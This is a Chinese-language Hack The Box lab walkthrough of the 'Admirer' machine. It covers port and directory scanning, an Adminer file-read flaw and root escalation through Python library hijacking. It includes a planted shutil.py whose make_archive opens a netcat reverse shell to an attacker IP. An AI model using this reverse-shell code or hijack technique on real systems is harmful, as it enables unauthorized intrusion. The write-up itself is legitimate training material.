HTB walkthrough -- Admirer
HTB walkthrough – Admirer
0x01 信息收集
使用nmap扫描端口开放情况
dirb搜索到robots.txt
访问robots.txt,页面中提到一个文件夹/admin-dir
用wfuzz对这个文件进行扫描
得到contacts.txt 和 credentials.txt
看到有一个ftp用户,尝试ftp登录
登录成功,将dump.sql和html.tar.gz文件下载到本地
html.tar.gz解压后,分别有以下内容
index.php
utility-scripts/
db_admin.php
admin_tasks.php
后面实在不知道怎么继续,Google到一篇walkthrough,里面提到adminer.php,于是访问adminer.php
发现用所有的账号密码都无法登录
0x02 adminer
参考这篇文章Serious Vulnerability Discovered in Adminer database Administration Tool
首先在kali上创建一个mysql用户,并且可以用这个用户来远程登录mysql
接下来,我创建了个用户admir:passwd
,和数据库admirer
登录后,跟着链接中的步骤,尝试读取index.php
发现读取出来的index.php中有一个账号用户与之前获得的源码不同
这个账户密码可以用来登录adminer
0x03 提权为root
后来发现,用上面那个密码还可以登ssh
查看当前用户的sudo权限 sudo -l
查看这个脚本文件
cat /opt/scritps/admin_tasks.sh
#!/bin/bashview_uptime()
{/usr/bin/uptime -p
}view_users()
{/usr/bin/w
}view_crontab()
{/usr/bin/crontab -l
}backup_passwd()
{if [ "$EUID" -eq 0 ]thenecho "Backing up /etc/passwd to /var/backups/passwd.bak..."/bin/cp /etc/passwd /var/backups/passwd.bak/bin/chown root:root /var/backups/passwd.bak/bin/chmod 600 /var/backups/passwd.bakecho "Done."elseecho "Insufficient privileges to perform the selected operation."fi
}backup_shadow()
{if [ "$EUID" -eq 0 ]thenecho "Backing up /etc/shadow to /var/backups/shadow.bak..."/bin/cp /etc/shadow /var/backups/shadow.bak/bin/chown root:shadow /var/backups/shadow.bak/bin/chmod 600 /var/backups/shadow.bakecho "Done."elseecho "Insufficient privileges to perform the selected operation."fi
}backup_web()
{if [ "$EUID" -eq 0 ]thenecho "Running backup script in the background, it might take a while..."/opt/scripts/backup.py &elseecho "Insufficient privileges to perform the selected operation."fi
}backup_db()
{if [ "$EUID" -eq 0 ]thenecho "Running mysqldump in the background, it may take a while..."#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &elseecho "Insufficient privileges to perform the selected operation."fi
}# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
thenoption=$1case $option in1) view_uptime ;;2) view_users ;;3) view_crontab ;;4) backup_passwd ;;5) backup_shadow ;;6) backup_web ;;7) backup_db ;;*) echo "Unknown option." >&2esacexit 0
fi# Interactive way, to be called from the command line
options=("View system uptime""View logged in users""View crontab""Backup passwd file""Backup shadow file""Backup web data""Backup DB""Quit")echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; docase $REPLY in1) view_uptime ; break ;;2) view_users ; break ;;3) view_crontab ; break ;;4) backup_passwd ; break ;;5) backup_shadow ; break ;;6) backup_web ; break ;;7) backup_db ; break ;;8) echo "Bye!" ; break ;;*) echo "Unknown option." >&2esac
doneexit 0
在备份web的过程中,调用了backup.py
cat backup.py
#!/usr/bin/python3 from shutil import make_archive src = '/var/www/html/' # old ftp directory, not used anymore
#dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src)
py脚本中用到了make_archive
函数,参考HTB::Admirer Walkthrough,文章中提到了用python库劫持的方法来提权
具体操作可参考:https://rastating.github.io/privilege-escalation-via-python-library-hijacking/
查看当前Python库的路径:
上图结果中的文件夹都不可写,所以只能新创建一个文件夹,用PYTHONPATH
来指定库的路径
在kali中编写shutil.py
import osdef make_archive(a, b, c):os.system("nc 10.10.14.106 1234 -e '/bin/sh'")
然后用scp拷贝到靶机中
运行
kali中监听到结果,成功提权,读取root.txt
0x03 总结
- adminer文件泄露漏洞 https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
- python库劫持提权 https://rastating.github.io/privilege-escalation-via-python-library-hijacking/
HTB walkthrough -- Admirer相关推荐
- [Hack The Box] HTB—Paper walkthrough
[Hack The Box] HTB-Paper walkthrough HTB-Paper [Hack The Box] HTB-Paper walkthrough 一.信息搜集 X-Backend ...
- A Complete Machine Learning Walk-Through in Python
A Complete Machine Learning Project Walk-Through in Python: Part One A Complete Machine Learning Pro ...
- 手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好?...
我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...
- linux htb 源代码,LINUX TC:HTB相关源码
LINUX TC:HTB相关源码 收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...
- OPEN(SAP) UI5 学习入门系列之四:更好的入门系列-官方Walkthrough
好久没有更新了,实在不知道应该写一些什么内容,因为作为入门系列,实际上应该更多的是操作而不是理论,而在UI5 SDK中的EXPLORER里面有着各种控件的用法,所以在这里也没有必要再来一遍,还是看官方 ...
- exif viewer java,1earn/XSS挑战-WalkThrough.md at master · dizhaung/1earn · GitHub
XSS挑战-WalkThrough 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 知识点 无过滤 XSS (level 1) 各种难度 ...
- Linux 工具 | 第1篇:高级流控-TC+HTB+IFB+内核模块
作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...
- Walkthrough: Word 2007 XML 格式
本页内容 简介 Word 2007 文档包 Word XML格式的开放打包约定 解析Word 2007文件 确定Word 2007文档中的非XML部件 从文档中分离内容 理解数据存储 结论 简介 Mi ...
- linux下TC+HTB流量控制
C规则涉及到 队列(QUEUE) 分类器(CLASS) 过滤器(FILTER),filter划分的标志位可用U32或iptables的set-mark来实现 ) 一般是"控发"不控 ...
最新文章
- love2d教程3--输入和音乐
- 安卓图标_干货 | 安卓界面系统规范
- 吃鸡电脑配置清单_2020电脑配置游戏装机清单(覆盖主流游戏)
- linux json 写sql注入,sql注入之AJAX(SQL Injection (AJAX/JSON/jQuery))
- if name==main是什么意思_Python中if __name__ == quot;__main__quot;:是什么意思
- Vim GDB 调试器编译配置说明
- CentOS8安装MySQL可视化客户端
- java 换行规范_JAVA代码规范(一)
- c语言指针和数组的转换,指针和数组的转换
- WPF界面设计风格资源库
- 34. 脱壳篇-FSG压缩壳、ImportREC修复IAT输入表的使用,令一种寻找OEP方式
- Windows 键盘按键 测试
- 分享:MSDN visual studio 2010简体中文旗舰版,专业版下载(内置正版密钥)
- Java中的Constants类
- 不限机型,手机端实时玩转3D、混合现实,快手Y-tech有黑科技(已开源)
- php 微信 语音,微信语音的上传与下载功能实现详解
- 安徽身份证网上办理最全攻略
- 股票MACD指标算法公式
- 【软件测试教程】Jmeter接口测试+压力测试
- 砸金蛋java代码_java实现砸金蛋抽奖功能
热门文章
- 老虎证券国际完成5亿C轮融资 估值10.6亿美元成新独角兽
- 最速下降法(适用于求二阶极小值)
- 名校博士生临近毕业突然离世,去世前一直在熬夜完善毕业论文
- c语言中if(a字节4),【鲁班】的意思是什么?【鲁班】是什么意思?
- 读书笔记-Designing Interfaces中文版
- 公寓报修系统(IDEA,SSM,MySQL)
- ZigBee3.0_JENNIC-JN516x-ZigBeeBaseDevice_20170604_1.0
- Vue仿饿了么app项目总结
- 循环经济下的商业模式
- 几乎全面的食品英文总结 (吃遍英文单词)